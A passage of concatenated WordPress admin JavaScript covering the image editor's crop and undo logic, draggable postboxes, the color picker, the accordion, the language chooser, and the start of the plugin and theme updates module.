this.setDisabled(c(".imgedit-crop","#imgedit-panel-"+t),1),this.setDisabled(c("#imgedit-crop-sel-"+t),1),c("#imgedit-sel-width-"+t).val(""),c("#imgedit-sel-height-"+t).val(""),c("#imgedit-start-x-"+t).val("0"),c("#imgedit-start-y-"+t).val("0"),c("#imgedit-selection-"+t).val(""),!1;i={x:i.x1,y:i.y1,w:i.width,h:i.height},this.setDisabled(c(".imgedit-crop","#imgedit-panel-"+t),1),c("#imgedit-selection-"+t).val(JSON.stringify(i))},close:function(t,i){if((i=i||!1)&&this.notsaved(t))return!1;this.iasapi={},this.hold={},this._view?this._view.back():c("#image-editor-"+t).fadeOut("fast",function(){c("#media-head-"+t).fadeIn("fast",function(){c("#imgedit-open-btn-"+t).trigger("focus")}),c(this).empty()})},notsaved:function(t){var i=c("#imgedit-history-"+t).val(),i=""!==i?JSON.parse(i):[];return this.intval(c("#imgedit-undone-"+t).val())<i.length&&!confirm(c("#imgedit-leaving-"+t).text())},addStep:function(t,i,e){for(var a=this,o=c("#imgedit-history-"+i),r=""!==o.val()?JSON.parse(o.val()):[],s=c("#imgedit-undone-"+i),n=a.intval(s.val());0<n;)r.pop(),n--;s.val(0),r.push(t),o.val(JSON.stringify(r)),a.refreshEditor(i,e,function(){a.setDisabled(c("#image-undo-"+i),!0),a.setDisabled(c("#image-redo-"+i),!1)})},rotate:function(t,i,e,a){if(c(a).hasClass("disabled"))return!1;this.closePopup(a),this.addStep({r:{r:t,fw:this.hold.h,fh:this.hold.w}},i,e)},flip:function(t,i,e,a){if(c(a).hasClass("disabled"))return!1;this.closePopup(a),this.addStep({f:{f:t,fw:this.hold.w,fh:this.hold.h}},i,e)},crop:function(t,i,e){var a=c("#imgedit-selection-"+t).val(),o=this.intval(c("#imgedit-sel-width-"+t).val()),r=this.intval(c("#imgedit-sel-height-"+t).val());if(c(e).hasClass("disabled")||""===a)return!1;0<(a=JSON.parse(a)).w&&0<a.h&&0<o&&0<r&&(a.fw=o,a.fh=r,this.addStep({c:a},t,i)),c("#imgedit-sel-width-"+t).val(""),c("#imgedit-sel-height-"+t).val(""),c("#imgedit-start-x-"+t).val("0"),c("#imgedit-start-y-"+t).val("0")},undo:function(i,t){var e=this,a=c("#image-undo-"+i),o=c("#imgedit-undone-"+i),r=e.intval(o.val())+1;a.hasClass("disabled")||(o.val(r),e.refreshEditor(i,t,function(){var t=c("#imgedit-history-"+i),t=""!==t.val()?JSON.parse(t.val()):[];e.setDisabled(c("#image-redo-"+i),!0),e.setDisabled(a,r<t.length),t.length===r&&c("#image-redo-"+i).trigger("focus")}))},redo:function(t,i){var e=this,a=c("#image-redo-"+t),o=c("#imgedit-undone-"+t),r=e.intval(o.val())-1;a.hasClass("disabled")||(o.val(r),e.refreshEditor(t,i,function(){e.setDisabled(c("#image-undo-"+t),!0),e.setDisabled(a,0<r),0==r&&c("#image-undo-"+t).trigger("focus")}))},setNumSelection:function(t,i){var e=c("#imgedit-sel-width-"+t),a=c("#imgedit-sel-height-"+t),o=c("#imgedit-start-x-"+t),r=c("#imgedit-start-y-"+t),o=this.intval(o.val()),r=this.intval(r.val()),s=this.intval(e.val()),n=this.intval(a.val()),d=c("#image-preview-"+t),l=d.height(),d=d.width(),h=this.hold.sizer,g=this.iasapi;if(!1!==this.validateNumeric(i))return s<1?(e.val(""),!1):n<1?(a.val(""),!1):void((s&&n||o&&r)&&(i=g.getSelection())&&(s=i.x1+Math.round(s*h),n=i.y1+Math.round(n*h),o=o===i.x1?i.x1:Math.round(o*h),i=r===i.y1?i.y1:Math.round(r*h),d<s&&(o=0,s=d,e.val(Math.round(s/h))),l<n&&(i=0,n=l,a.val(Math.round(n/h))),g.setSelection(o,i,s,n),g.update(),this.setCropSelection(t,g.getSelection())))},round:function(t){var i;return t=Math.round(t),.6<this.hold.sizer?t:"1"===(i=t.toString().slice(-1))?t-1:"9"===i?t+1:t},setRatioSelection:function(t,i,e){var a=this.intval(c("#imgedit-crop-width-"+t).val()),o=this.intval(c("#imgedit-crop-height-"+t).val()),r=c("#image-preview-"+t).height();!1===this.validateNumeric(e)?this.iasapi.setOptions({aspectRatio:null}):a&&o&&(this.iasapi.setOptions({aspectRatio:a+":"+o}),e=this.iasapi.getSelection(!0))&&(r<(a=Math.ceil(e.y1+(e.x2-e.x1)/(a/o)))?(a=r,o=n("Selected crop ratio exceeds the boundaries of the image. Try a different ratio."),c("#imgedit-crop-"+t).prepend('<div class="notice notice-error" tabindex="-1" role="alert"><p>'+o+"</p></div>"),wp.a11y.speak(o,"assertive"),c(i?"#imgedit-crop-height-"+t:"#imgedit-crop-width-"+t).val("")):void 0!==(r=c("#imgedit-crop-"+t).find(".notice-error"))&&r.remove(),this.iasapi.setSelection(e.x1,e.y1,e.x2,a),this.iasapi.update())},validateNumeric:function(t){if(!1===this.intval(c(t).val()))return c(t).val(""),!1}}}(jQuery);/*! This file is auto-generated */
!function(l){var a=l(document),r=wp.i18n.__;window.postboxes={handle_click:function(){var e,o=l(this),s=o.closest(".postbox"),t=s.attr("id");"dashboard_browser_nag"!==t&&(s.toggleClass("closed"),e=!s.hasClass("closed"),(o.hasClass("handlediv")?o:o.closest(".postbox").find("button.handlediv")).attr("aria-expanded",e),"press-this"!==postboxes.page&&postboxes.save_state(postboxes.page),t&&(s.hasClass("closed")||"function"!=typeof postboxes.pbshow?s.hasClass("closed")&&"function"==typeof postboxes.pbhide&&postboxes.pbhide(t):postboxes.pbshow(t)),a.trigger("postbox-toggled",s))},handleOrder:function(){var e=l(this),o=e.closest(".postbox"),s=o.attr("id"),t=o.closest(".meta-box-sortables").find(".postbox:visible"),a=t.length,t=t.index(o);if("dashboard_browser_nag"!==s)if("true"===e.attr("aria-disabled"))s=e.hasClass("handle-order-higher")?r("The box is on the first position"):r("The box is on the last position"),wp.a11y.speak(s);else{if(e.hasClass("handle-order-higher")){if(0===t)return void postboxes.handleOrderBetweenSortables("previous",e,o);o.prevAll(".postbox:visible").eq(0).before(o),e.trigger("focus"),postboxes.updateOrderButtonsProperties(),postboxes.save_order(postboxes.page)}e.hasClass("handle-order-lower")&&(t+1===a?postboxes.handleOrderBetweenSortables("next",e,o):(o.nextAll(".postbox:visible").eq(0).after(o),e.trigger("focus"),postboxes.updateOrderButtonsProperties(),postboxes.save_order(postboxes.page)))}},handleOrderBetweenSortables:function(e,o,s){var t=o.closest(".meta-box-sortables").attr("id"),a=[];l(".meta-box-sortables:visible").each(function(){a.push(l(this).attr("id"))}),1!==a.length&&(t=l.inArray(t,a),s=s.detach(),"previous"===e&&l(s).appendTo("#"+a[t-1]),"next"===e&&l(s).prependTo("#"+a[t+1]),postboxes._mark_area(),o.focus(),postboxes.updateOrderButtonsProperties(),postboxes.save_order(postboxes.page))},updateOrderButtonsProperties:function(){var e=l(".meta-box-sortables:visible:first").attr("id"),o=l(".meta-box-sortables:visible:last").attr("id"),s=l(".postbox:visible:first"),t=l(".postbox:visible:last"),a=s.attr("id"),r=t.attr("id"),i=s.closest(".meta-box-sortables").attr("id"),t=t.closest(".meta-box-sortables").attr("id"),n=l(".handle-order-higher"),d=l(".handle-order-lower");n.attr("aria-disabled","false").removeClass("hidden"),d.attr("aria-disabled","false").removeClass("hidden"),e===o&&a===r&&(n.addClass("hidden"),d.addClass("hidden")),e===i&&l(s).find(".handle-order-higher").attr("aria-disabled","true"),o===t&&l(".postbox:visible .handle-order-lower").last().attr("aria-disabled","true")},add_postbox_toggles:function(t,e){var o=l(".postbox .hndle, .postbox .handlediv"),s=l(".postbox .handle-order-higher, .postbox .handle-order-lower");this.page=t,this.init(t,e),o.on("click.postboxes",this.handle_click),s.on("click.postboxes",this.handleOrder),l(".postbox .hndle a").on("click",function(e){e.stopPropagation()}),l(".postbox a.dismiss").on("click.postboxes",function(e){var o=l(this).parents(".postbox").attr("id")+"-hide";e.preventDefault(),l("#"+o).prop("checked",!1).triggerHandler("click")}),l(".hide-postbox-tog").on("click.postboxes",function(){var e=l(this),o=e.val(),s=l("#"+o);e.prop("checked")?(s.show(),"function"==typeof postboxes.pbshow&&postboxes.pbshow(o)):(s.hide(),"function"==typeof postboxes.pbhide&&postboxes.pbhide(o)),postboxes.save_state(t),postboxes._mark_area(),a.trigger("postbox-toggled",s)}),l('.columns-prefs input[type="radio"]').on("click.postboxes",function(){var e=parseInt(l(this).val(),10);e&&(postboxes._pb_edit(e),postboxes.save_order(t))})},init:function(o,e){var s=l(document.body).hasClass("mobile"),t=l(".postbox .handlediv");l.extend(this,e||{}),l(".meta-box-sortables").sortable({placeholder:"sortable-placeholder",connectWith:".meta-box-sortables",items:".postbox",handle:".hndle",cursor:"move",delay:s?200:0,distance:2,tolerance:"pointer",forcePlaceholderSize:!0,helper:function(e,o){return o.clone().find(":input").attr("name",function(e,o){return"sort_"+parseInt(1e5*Math.random(),10).toString()+"_"+o}).end()},opacity:.65,start:function(){l("body").addClass("is-dragging-metaboxes"),l(".meta-box-sortables").sortable("refreshPositions")},stop:function(){var e=l(this);l("body").removeClass("is-dragging-metaboxes"),e.find("#dashboard_browser_nag").is(":visible")&&"dashboard_browser_nag"!=this.firstChild.id?e.sortable("cancel"):(postboxes.updateOrderButtonsProperties(),postboxes.save_order(o))},receive:function(e,o){"dashboard_browser_nag"==o.item[0].id&&l(o.sender).sortable("cancel"),postboxes._mark_area(),a.trigger("postbox-moved",o.item)}}),s&&(l(document.body).on("orientationchange.postboxes",function(){postboxes._pb_change()}),this._pb_change()),this._mark_area(),this.updateOrderButtonsProperties(),a.on("postbox-toggled",this.updateOrderButtonsProperties),t.each(function(){var e=l(this);e.attr("aria-expanded",!e.closest(".postbox").hasClass("closed"))})},save_state:function(e){var o,s;"nav-menus"!==e&&(o=l(".postbox").filter(".closed").map(function(){return this.id}).get().join(","),s=l(".postbox").filter(":hidden").map(function(){return this.id}).get().join(","),l.post(ajaxurl,{action:"closed-postboxes",closed:o,hidden:s,closedpostboxesnonce:jQuery("#closedpostboxesnonce").val(),page:e}))},save_order:function(e){var o=l(".columns-prefs input:checked").val()||0,s={action:"meta-box-order",_ajax_nonce:l("#meta-box-order-nonce").val(),page_columns:o,page:e};l(".meta-box-sortables").each(function(){s["order["+this.id.split("-")[0]+"]"]=l(this).sortable("toArray").join(",")}),l.post(ajaxurl,s,function(e){e.success&&wp.a11y.speak(r("The boxes order has been saved."))})},_mark_area:function(){var o=l("div.postbox:visible").length,e=l("#dashboard-widgets .meta-box-sortables:visible, #post-body .meta-box-sortables:visible"),s=!0;e.each(function(){var e=l(this);1==o||e.children(".postbox:visible").length?(e.removeClass("empty-container"),s=!1):e.addClass("empty-container")}),postboxes.updateEmptySortablesText(e,s)},updateEmptySortablesText:function(e,o){var s=l("#dashboard-widgets").length,t=r(o?"Add boxes from the Screen Options menu":"Drag boxes here");s&&e.each(function(){l(this).hasClass("empty-container")&&l(this).attr("data-emptyString",t)})},_pb_edit:function(e){var o=l(".metabox-holder").get(0);o&&(o.className=o.className.replace(/columns-\d+/,"columns-"+e)),l(document).trigger("postboxes-columnchange")},_pb_change:function(){var e=l('label.columns-prefs-1 input[type="radio"]');switch(window.orientation){case 90:case-90:e.length&&e.is(":checked")||this._pb_edit(2);break;case 0:case 180:l("#poststuff").length?this._pb_edit(1):e.length&&e.is(":checked")||this._pb_edit(2)}},pbshow:!1,pbhide:!1}}(jQuery);/*! This file is auto-generated */
!function(i,t){var a=wp.i18n.__;i.widget("wp.wpColorPicker",{options:{defaultColor:!1,change:!1,clear:!1,hide:!0,palettes:!0,width:255,mode:"hsv",type:"full",slider:"horizontal"},_createHueOnly:function(){var e,o=this,t=o.element;t.hide(),e="hsl("+t.val()+", 100, 50)",t.iris({mode:"hsl",type:"hue",hide:!1,color:e,change:function(e,t){"function"==typeof o.options.change&&o.options.change.call(this,e,t)},width:o.options.width,slider:o.options.slider})},_create:function(){if(i.support.iris){var o=this,e=o.element;if(i.extend(o.options,e.data()),"hue"===o.options.type)return o._createHueOnly();o.close=o.close.bind(o),o.initialValue=e.val(),e.addClass("wp-color-picker"),e.parent("label").length||(e.wrap("<label></label>"),o.wrappingLabelText=i('<span class="screen-reader-text"></span>').insertBefore(e).text(a("Color value"))),o.wrappingLabel=e.parent(),o.wrappingLabel.wrap('<div class="wp-picker-container" />'),o.wrap=o.wrappingLabel.parent(),o.toggler=i('<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>').insertBefore(o.wrappingLabel).css({backgroundColor:o.initialValue}),o.toggler.find(".wp-color-result-text").text(a("Select Color")),o.pickerContainer=i('<div class="wp-picker-holder" />').insertAfter(o.wrappingLabel),o.button=i('<input type="button" class="button button-small" />'),o.options.defaultColor?o.button.addClass("wp-picker-default").val(a("Default")).attr("aria-label",a("Select default color")):o.button.addClass("wp-picker-clear").val(a("Clear")).attr("aria-label",a("Clear color")),o.wrappingLabel.wrap('<span class="wp-picker-input-wrap hidden" />').after(o.button),o.inputWrapper=e.closest(".wp-picker-input-wrap"),e.iris({target:o.pickerContainer,hide:o.options.hide,width:o.options.width,mode:o.options.mode,palettes:o.options.palettes,change:function(e,t){o.toggler.css({backgroundColor:t.color.toString()}),"function"==typeof o.options.change&&o.options.change.call(this,e,t)}}),e.val(o.initialValue),o._addListeners(),o.options.hide||o.toggler.click()}},_addListeners:function(){var o=this;o.wrap.on("click.wpcolorpicker",function(e){e.stopPropagation()}),o.toggler.on("click",function(){o.toggler.hasClass("wp-picker-open")?o.close():o.open()}),o.element.on("change",function(e){var t=i(this).val();""!==t&&"#"!==t||(o.toggler.css("backgroundColor",""),"function"==typeof o.options.clear&&o.options.clear.call(this,e))}),o.button.on("click",function(e){var t=i(this);t.hasClass("wp-picker-clear")?(o.element.val(""),o.toggler.css("backgroundColor",""),"function"==typeof o.options.clear&&o.options.clear.call(this,e)):t.hasClass("wp-picker-default")&&o.element.val(o.options.defaultColor).change()})},open:function(){this.element.iris("toggle"),this.inputWrapper.removeClass("hidden"),this.wrap.addClass("wp-picker-active"),this.toggler.addClass("wp-picker-open").attr("aria-expanded","true"),i("body").trigger("click.wpcolorpicker").on("click.wpcolorpicker",this.close)},close:function(){this.element.iris("toggle"),this.inputWrapper.addClass("hidden"),this.wrap.removeClass("wp-picker-active"),this.toggler.removeClass("wp-picker-open").attr("aria-expanded","false"),i("body").off("click.wpcolorpicker",this.close)},color:function(e){if(e===t)return this.element.iris("option","color");this.element.iris("option","color",e)},defaultColor:function(e){if(e===t)return this.options.defaultColor;this.options.defaultColor=e}})}(jQuery);/**
 * Accordion-folding functionality.
 *
 * Markup with the appropriate classes will be automatically hidden,
 * with one section opening at a time when its title is clicked.
 * Use the following markup structure for accordion behavior:
 *
 * <div class="accordion-container">
 *	<div class="accordion-section open">
 *		<h3 class="accordion-section-title"></h3>
 *		<div class="accordion-section-content">
 *		</div>
 *	</div>
 *	<div class="accordion-section">
 *		<h3 class="accordion-section-title"></h3>
 *		<div class="accordion-section-content">
 *		</div>
 *	</div>
 *	<div class="accordion-section">
 *		<h3 class="accordion-section-title"></h3>
 *		<div class="accordion-section-content">
 *		</div>
 *	</div>
 * </div>
 *
 * Note that any appropriate tags may be used, as long as the above classes are present.
 *
 * @since 3.6.0
 * @output wp-admin/js/accordion.js
 */

( function( $ ){

	$( function () {

		// Expand/Collapse accordion sections on click.
		$( '.accordion-container' ).on( 'click keydown', '.accordion-section-title', function( e ) {
			if ( e.type === 'keydown' && 13 !== e.which ) { // "Return" key.
				return;
			}

			e.preventDefault(); // Keep this AFTER the key filter above.

			accordionSwitch( $( this ) );
		});

	});

	/**
	 * Close the current accordion section and open a new one.
	 *
	 * @param {Object} el Title element of the accordion section to toggle.
	 * @since 3.6.0
	 */
	function accordionSwitch ( el ) {
		var section = el.closest( '.accordion-section' ),
			sectionToggleControl = section.find( '[aria-expanded]' ).first(),
			container = section.closest( '.accordion-container' ),
			siblings = container.find( '.open' ),
			siblingsToggleControl = siblings.find( '[aria-expanded]' ).first(),
			content = section.find( '.accordion-section-content' );

		// This section has no content and cannot be expanded.
		if ( section.hasClass( 'cannot-expand' ) ) {
			return;
		}

		// Add a class to the container to let us know something is happening inside.
		// This helps in cases such as hiding a scrollbar while animations are executing.
		container.addClass( 'opening' );

		if ( section.hasClass( 'open' ) ) {
			section.toggleClass( 'open' );
			content.toggle( true ).slideToggle( 150 );
		} else {
			siblingsToggleControl.attr( 'aria-expanded', 'false' );
			siblings.removeClass( 'open' );
			siblings.find( '.accordion-section-content' ).show().slideUp( 150 );
			content.toggle( false ).slideToggle( 150 );
			section.toggleClass( 'open' );
		}

		// We have to wait for the animations to finish.
		setTimeout(function(){
		    container.removeClass( 'opening' );
		}, 150);

		// If there's an element with an aria-expanded attribute, assume it's a toggle control and toggle the aria-expanded value.
		if ( sectionToggleControl ) {
			sectionToggleControl.attr( 'aria-expanded', String( sectionToggleControl.attr( 'aria-expanded' ) === 'false' ) );
		}
	}

})(jQuery);
/*! This file is auto-generated */
jQuery(function(n){var e=n("#language"),a=n("#language-continue");n("body").hasClass("language-chooser")&&(e.trigger("focus").on("change",function(){var n=e.children("option:selected");a.attr({value:n.data("continue"),lang:n.attr("lang")})}),n("form").on("submit",function(){e.children("option:selected").data("installed")||n(this).find(".step .spinner").css("visibility","visible")}))});/**
 * Functions for ajaxified updates, deletions and installs inside the WordPress admin.
 *
 * @version 4.2.0
 * @output wp-admin/js/updates.js
 */

/* global pagenow, _wpThemeSettings */

/**
 * @param {jQuery}  $                                        jQuery object.
 * @param {object}  wp                                       WP object.
 * @param {object}  settings                                 WP Updates settings.
 * @param {string}  settings.ajax_nonce                      Ajax nonce.
 * @param {object=} settings.plugins                         Base names of plugins in their different states.
 * @param {Array}   settings.plugins.all                     Base names of all plugins.
 * @param {Array}   settings.plugins.active                  Base names of active plugins.
 * @param {Array}   settings.plugins.inactive                Base names of inactive plugins.
 * @param {Array}   settings.plugins.upgrade                 Base names of plugins with updates available.
 * @param {Array}   settings.plugins.recently_activated      Base names of recently activated plugins.
 * @param {Array}   settings.plugins['auto-update-enabled']  Base names of plugins set to auto-update.
 * @param {Array}   settings.plugins['auto-update-disabled'] Base names of plugins set to not auto-update.
 * @param {object=} settings.themes                          Slugs of themes in their different states.
 * @param {Array}   settings.themes.all                      Slugs of all themes.
 * @param {Array}   settings.themes.upgrade                  Slugs of themes with updates available.
 * @param {Arrat}   settings.themes.disabled                 Slugs of disabled themes.
 * @param {Array}   settings.themes['auto-update-enabled']   Slugs of themes set to auto-update.
 * @param {Array}   settings.themes['auto-update-disabled']  Slugs of themes set to not auto-update.
 * @param {object=} settings.totals                          Combined information for available update counts.
 * @param {number}  settings.totals.count                    Holds the amount of available updates.
 */
(function( $, wp, settings ) {
	var $document = $( document ),
		__ = wp.i18n.__,
		_x = wp.i18n._x,
		_n = wp.i18n._n,
		_nx = wp.i18n._nx,
		sprintf = wp.i18n.sprintf;

	wp = wp || {};

	/**
	 * The WP Updates object.
	 *
	 * @since 4.2.0
	 *
	 * @namespace wp.updates
	 */
	wp.updates = {};

	/**
	 * Removed in 5.5.0, needed for back-compatibility.
	 *
	 * @since 4.2.0
	 * @deprecated 5.5.0
	 *
	 * @type {object}
	 */
	wp.updates.l10n = {
		searchResults: '',
		searchResultsLabel: '',
		noPlugins: '',
		noItemsSelected: '',
		updating: '',
		pluginUpdated: '',
		themeUpdated: '',
		update: '',
		updateNow: '',
		pluginUpdateNowLabel: '',
		updateFailedShort: '',
		updateFailed: '',
		pluginUpdatingLabel: '',
		pluginUpdatedLabel: '',
		pluginUpdateFailedLabel: '',
		updatingMsg: '',
		updatedMsg: '',
		updateCancel: '',
		beforeunload: '',
		installNow: '',
		pluginInstallNowLabel: '',
		installing: '',
		pluginInstalled: '',
		themeInstalled: '',
		installFailedShort: '',
		installFailed: '',
		pluginInstallingLabel: '',
		themeInstallingLabel: '',
		pluginInstalledLabel: '',
		themeInstalledLabel: '',
		pluginInstallFailedLabel: '',
		themeInstallFailedLabel: '',
		installingMsg: '',
		installedMsg: '',
		importerInstalledMsg: '',
		aysDelete: '',
		aysDeleteUninstall: '',
		aysBulkDelete: '',
		aysBulkDeleteThemes: '',
		deleting: '',
		deleteFailed: '',
		pluginDeleted: '',
		themeDeleted: '',
		livePreview: '',
		activatePlugin: '',
		activateTheme: '',
		activatePluginLabel: '',
		activateThemeLabel: '',
		activateImporter: '',
		activateImporterLabel: '',
		unknownError: '',
		connectionError: '',
		nonceError: '',
		pluginsFound: '',
		noPluginsFound: '',
		autoUpdatesEnable: '',
		autoUpdatesEnabling: '',
		autoUpdatesEnabled: '',
		autoUpdatesDisable: '',
		autoUpdatesDisabling: '',
		autoUpdatesDisabled: '',
		autoUpdatesError: ''
	};

	wp.updates.l10n = window.wp.deprecateL10nObject( 'wp.updates.l10n', wp.updates.l10n, '5.5.0' );

	/**
	 * User nonce for ajax calls.
	 *
	 * @since 4.2.0
	 *
	 * @type {string}
	 */
	wp.updates.ajaxNonce = settings.ajax_nonce;

	/**
	 * Current search term.
	 *
	 * @since 4.6.0
	 *
	 * @type {string}
	 */
	wp.updates.searchTerm = '';

	/**
	 * Whether filesystem credentials need to be requested from the user.
	 *
	 * @since 4.2.0
	 *
	 * @type {bool}
	 */
	wp.updates.shouldRequestFilesystemCredentials = false;

	/**
	 * Filesystem credentials to be packaged along with the request.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 Added `available` property to indicate whether credentials have been provided.
	 *
	 * @type {Object}
	 * @property {Object} filesystemCredentials.ftp                Holds FTP credentials.
	 * @property {string} filesystemCredentials.ftp.host           FTP host. Default empty string.
	 * @property {string} filesystemCredentials.ftp.username       FTP user name. Default empty string.
	 * @property {string} filesystemCredentials.ftp.password       FTP password. Default empty string.
	 * @property {string} filesystemCredentials.ftp.connectionType Type of FTP connection. 'ssh', 'ftp', or 'ftps'.
	 *                                                             Default empty string.
	 * @property {Object} filesystemCredentials.ssh                Holds SSH credentials.
	 * @property {string} filesystemCredentials.ssh.publicKey      The public key. Default empty string.
	 * @property {string} filesystemCredentials.ssh.privateKey     The private key. Default empty string.
	 * @property {string} filesystemCredentials.fsNonce            Filesystem credentials form nonce.
	 * @property {bool}   filesystemCredentials.available          Whether filesystem credentials have been provided.
	 *                                                             Default 'false'.
	 */
	wp.updates.filesystemCredentials = {
		ftp:       {
			host:           '',
			username:       '',
			password:       '',
			connectionType: ''
		},
		ssh:       {
			publicKey:  '',
			privateKey: ''
		},
		fsNonce: '',
		available: false
	};

	/**
	 * Whether we're waiting for an Ajax request to complete.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 More accurately named `ajaxLocked`.
	 *
	 * @type {bool}
	 */
	wp.updates.ajaxLocked = false;

	/**
	 * Admin notice template.
	 *
	 * @since 4.6.0
	 *
	 * @type {function}
	 */
	wp.updates.adminNotice = wp.template( 'wp-updates-admin-notice' );

	/**
	 * Update queue.
	 *
	 * If the user tries to update a plugin while an update is
	 * already happening, it can be placed in this queue to perform later.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 More accurately named `queue`.
	 *
	 * @type {Array.object}
	 */
	wp.updates.queue = [];

	/**
	 * Holds a jQuery reference to return focus to when exiting the request credentials modal.
	 *
	 * @since 4.2.0
	 *
	 * @type {jQuery}
	 */
	wp.updates.$elToReturnFocusToFromCredentialsModal = undefined;

	/**
	 * Adds or updates an admin notice.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}  data
	 * @param {*=}      data.selector      Optional. Selector of an element to be replaced with the admin notice.
	 * @param {string=} data.id            Optional. Unique id that will be used as the notice's id attribute.
	 * @param {string=} data.className     Optional. Class names that will be used in the admin notice.
	 * @param {string=} data.message       Optional. The message displayed in the notice.
	 * @param {number=} data.successes     Optional. The amount of successful operations.
	 * @param {number=} data.errors        Optional. The amount of failed operations.
	 * @param {Array=}  data.errorMessages Optional. Error messages of failed operations.
	 *
	 */
	wp.updates.addAdminNotice = function( data ) {
		var $notice = $( data.selector ),
			$headerEnd = $( '.wp-header-end' ),
			$adminNotice;

		delete data.selector;
		$adminNotice = wp.updates.adminNotice( data );

		// Check if this admin notice already exists.
		if ( ! $notice.length ) {
			$notice = $( '#' + data.id );
		}

		if ( $notice.length ) {
			$notice.replaceWith( $adminNotice );
		} else if ( $headerEnd.length ) {
			$headerEnd.after( $adminNotice );
		} else {
			if ( 'customize' === pagenow ) {
				$( '.customize-themes-notifications' ).append( $adminNotice );
			} else {
				$( '.wrap' ).find( '> h1' ).after( $adminNotice );
			}
		}

		$document.trigger( 'wp-updates-notice-added' );
	};

	/**
	 * Handles Ajax requests to WordPress.
	 *
	 * @since 4.6.0
	 *
	 * @param {string} action The type of Ajax request ('update-plugin', 'install-theme', etc).
	 * @param {Object} data   Data that needs to be passed to the ajax callback.
	 * @return {$.promise}    A jQuery promise that represents the request,
	 *                        decorated with an abort() method.
	 */
	wp.updates.ajax = function( action, data ) {
		var options = {};

		if ( wp.updates.ajaxLocked ) {
			wp.updates.queue.push( {
				action: action,
				data:   data
			} );

			// Return a Deferred object so callbacks can always be registered.
			return $.Deferred();
		}

		wp.updates.ajaxLocked = true;

		if ( data.success ) {
			options.success = data.success;
			delete data.success;
		}

		if ( data.error ) {
			options.error = data.error;
			delete data.error;
		}

		options.data = _.extend( data, {
			action:          action,
			_ajax_nonce:     wp.updates.ajaxNonce,
			_fs_nonce:       wp.updates.filesystemCredentials.fsNonce,
			username:        wp.updates.filesystemCredentials.ftp.username,
			password:        wp.updates.filesystemCredentials.ftp.password,
			hostname:        wp.updates.filesystemCredentials.ftp.hostname,
			connection_type: wp.updates.filesystemCredentials.ftp.connectionType,
			public_key:      wp.updates.filesystemCredentials.ssh.publicKey,
			private_key:     wp.updates.filesystemCredentials.ssh.privateKey
		} );

		return wp.ajax.send( options ).always( wp.updates.ajaxAlways );
	};

	/**
	 * Actions performed after every Ajax request.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}  response
	 * @param {Array=}  response.debug     Optional. Debug information.
	 * @param {string=} response.errorCode Optional. Error code for an error that occurred.
	 */
	wp.updates.ajaxAlways = function( response ) {
		if ( ! response.errorCode || 'unable_to_connect_to_filesystem' !== response.errorCode ) {
			wp.updates.ajaxLocked = false;
			wp.updates.queueChecker();
		}

		if ( 'undefined' !== typeof response.debug && window.console && window.console.log ) {
			_.map( response.debug, function( message ) {
				// Remove all HTML tags and write a message to the console.
				window.console.log( wp.sanitize.stripTagsAndEncodeText( message ) );
			} );
		}
	};

	/**
	 * Refreshes update counts everywhere on the screen.
	 *
	 * @since 4.7.0
	 */
	wp.updates.refreshCount = function() {
		var $adminBarUpdates              = $( '#wp-admin-bar-updates' ),
			$dashboardNavMenuUpdateCount  = $( 'a[href="update-core.php"] .update-plugins' ),
			$pluginsNavMenuUpdateCount    = $( 'a[href="plugins.php"] .update-plugins' ),
			$appearanceNavMenuUpdateCount = $( 'a[href="themes.php"] .update-plugins' ),
			itemCount;

		$adminBarUpdates.find( '.ab-label' ).text( settings.totals.counts.total );
		$adminBarUpdates.find( '.updates-available-text' ).text(
			sprintf(
				/* translators: %s: Total number of updates available. */
				_n( '%s update available', '%s updates available', settings.totals.counts.total ),
				settings.totals.counts.total
			)
		);

		// Remove the update count from the toolbar if it's zero.
		if ( 0 === settings.totals.counts.total ) {
			$adminBarUpdates.find( '.ab-label' ).parents( 'li' ).remove();
		}

		// Update the "Updates" menu item.
		$dashboardNavMenuUpdateCount.each( function( index, element ) {
			element.className = element.className.replace( /count-\d+/, 'count-' + settings.totals.counts.total );
		} );
		if ( settings.totals.counts.total > 0 ) {
			$dashboardNavMenuUpdateCount.find( '.update-count' ).text( settings.totals.counts.total );
		} else {
			$dashboardNavMenuUpdateCount.remove();
		}

		// Update the "Plugins" menu item.
		$pluginsNavMenuUpdateCount.each( function( index, element ) {
			element.className = element.className.replace( /count-\d+/, 'count-' + settings.totals.counts.plugins );
		} );
		if ( settings.totals.counts.total > 0 ) {
			$pluginsNavMenuUpdateCount.find( '.plugin-count' ).text( settings.totals.counts.plugins );
		} else {
			$pluginsNavMenuUpdateCount.remove();
		}

		// Update the "Appearance" menu item.
		$appearanceNavMenuUpdateCount.each( function( index, element ) {
			element.className = element.className.replace( /count-\d+/, 'count-' + settings.totals.counts.themes );
		} );
		if ( settings.totals.counts.total > 0 ) {
			$appearanceNavMenuUpdateCount.find( '.theme-count' ).text( settings.totals.counts.themes );
		} else {
			$appearanceNavMenuUpdateCount.remove();
		}

		// Update list table filter navigation.
		if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) {
			itemCount = settings.totals.counts.plugins;
		} else if ( 'themes' === pagenow || 'themes-network' === pagenow ) {
			itemCount = settings.totals.counts.themes;
		}

		if ( itemCount > 0 ) {
			$( '.subsubsub .upgrade .count' ).text( '(' + itemCount + ')' );
		} else {
			$( '.subsubsub .upgrade' ).remove();
			$( '.subsubsub li:last' ).html( function() { return $( this ).children(); } );
		}
	};

	/**
	 * Sends a message from a modal to the main screen to update buttons in plugin cards.
	 *
	 * @since 6.5.0
	 *
	 * @param {Object}  data               An object of data to use for the button.
	 * @param {string}  data.slug          The plugin's slug.
	 * @param {string}  data.text          The text to use for the button.
	 * @param {string}  data.ariaLabel     The value for the button's aria-label attribute. An empty string removes the attribute.
	 * @param {string=} data.status        Optional. An identifier for the status.
	 * @param {string=} data.removeClasses Optional. A space-separated list of classes to remove from the button.
	 * @param {string=} data.addClasses    Optional. A space-separated list of classes to add to the button.
	 * @param {string=} data.href          Optional. The button's URL.
	 * @param {string=} data.pluginName    Optional. The plugin's name.
	 * @param {string=} data.plugin        Optional. The plugin file, relative to the plugins directory.
	 */
	wp.updates.setCardButtonStatus = function( data ) {
		var target = window.parent === window ? null : window.parent;

		$.support.postMessage = !! window.postMessage;
